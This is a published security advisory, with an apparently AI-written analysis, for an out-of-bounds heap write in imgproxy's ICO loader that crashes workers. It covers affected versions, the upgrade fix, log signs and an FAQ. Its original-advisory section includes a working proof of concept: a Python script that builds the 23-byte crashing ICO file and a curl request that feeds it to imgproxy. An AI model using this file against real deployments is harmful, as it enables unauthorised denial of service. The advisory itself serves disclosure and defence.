GHSA-494m-4556-wf5p: imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash
imgproxy's ICO loader (vips/icoload.c) writes past a heap buffer when an ICO entry declares a tiny data_size, corrupting the next heap chunk. The worker then aborts with a glibc munmap_chunk error. One 23-byte file kills one worker. Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.17.
Published Oct 30, 2026 · Analysis Oct 31, 2026
What an attacker can do
In vips_foreign_load_ico_header, imgproxy reads the ICO entry's image data into a buffer of data_size + 14 bytes and rebuilds a BMP file header in front of it. The rebuild uses fields from the ICO's BITMAPINFOHEADER (height at offset +8, bpp at +14, color count at +32) that were never validated. If data_size is 1, those reads go past the 15-byte allocation. The header-reconstruction writes also land past the end: a 32-bit value derived from height/2 overwrites the low bytes of the size field of the next heap chunk.
The corrupted size is always the original size shifted right by one. In cgo thread arenas it sets the mmapped flag, so the next free() of that chunk takes glibc's munmap_chunk() abort path. The result is SIGABRT, a Go panic dump and exit code 2. The advisory reports the request returns HTTP 500 or a reset connection, and in production the worker died on the same request.
The attacker needs only the ability to make imgproxy process an image they control, with no authentication. That means any deployment that fetches attacker-supplied URLs or accepts uploads. The demonstrated impact is denial of service. An out-of-bounds write is a memory-safety bug, but the advisory shows only the crash.
Who is affected
Go module github.com/imgproxy/imgproxy/v3, versions >= 3.3.0 and < 4.0.17. The advisory says the ICO support series from 3.3.x through v4.0.15 was tested. Check the version of a running deployment:
imgproxy version
go list -m github.com/imgproxy/imgproxy/v3For Docker, check the image tag.
github.com/imgproxy/imgproxy/v3
- Ecosystem
- Go
- Affected
- >= 3.3.0, < 4.0.17
- Fixed in
- 4.0.17
- Check
go list -m github.com/imgproxy/imgproxy/v3
How to fix it
Upgrade to imgproxy 4.0.17 (pull request 1726, commit 39fd9e844a8a46084161502e993d5a3c16ccf28d). For Docker, pull the 4.0.17 or newer tag of the imgproxy image.
go get github.com/imgproxy/imgproxy/[email protected]The advisory names no workaround. If you cannot upgrade, you can limit exposure by restricting which sources imgproxy may fetch from and by running it under a supervisor that restarts crashed workers. A related ICO memory-exhaustion advisory is fixed earlier, in 4.0.16.
How to tell if you were hit
Look for imgproxy worker restarts: exit code 2, munmap_chunk(): invalid pointer, SIGABRT and Go panic dumps in container or service logs, together with HTTP 500 or connection-reset responses for requests whose source is an .ico file. Search access logs for requests that fetch very small ICO files. The PoC file is 23 bytes with SHA-256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
Details
In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidatedif ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
PoC
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)Impact
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
Credited to haileyok.
Questions
- Does this imgproxy bug allow code execution?
The advisory demonstrates only a crash: a deterministic abort of the worker. It describes an out-of-bounds heap write and read, but shows no code execution.
- Do I need authentication to trigger it?
No. The CVSS 3.1 vector has no privileges required. Any deployment that processes attacker-supplied images is exposed.
- Is upgrading to 4.0.16 enough?
No. 4.0.16 fixes the related memory-exhaustion advisory. This out-of-bounds flaw is fixed in 4.0.17.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Go vulnerabilities
All Go entriesGHSA-hff9-5pqw-6w9f
imgproxy has integer overflow in imgproxy ICO loader that causes denial of service and may permit remote code execution
critical9.8Oct 30, 2026GHSA-mmq5-xm89-9pfg
imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
high7.5Oct 30, 2026
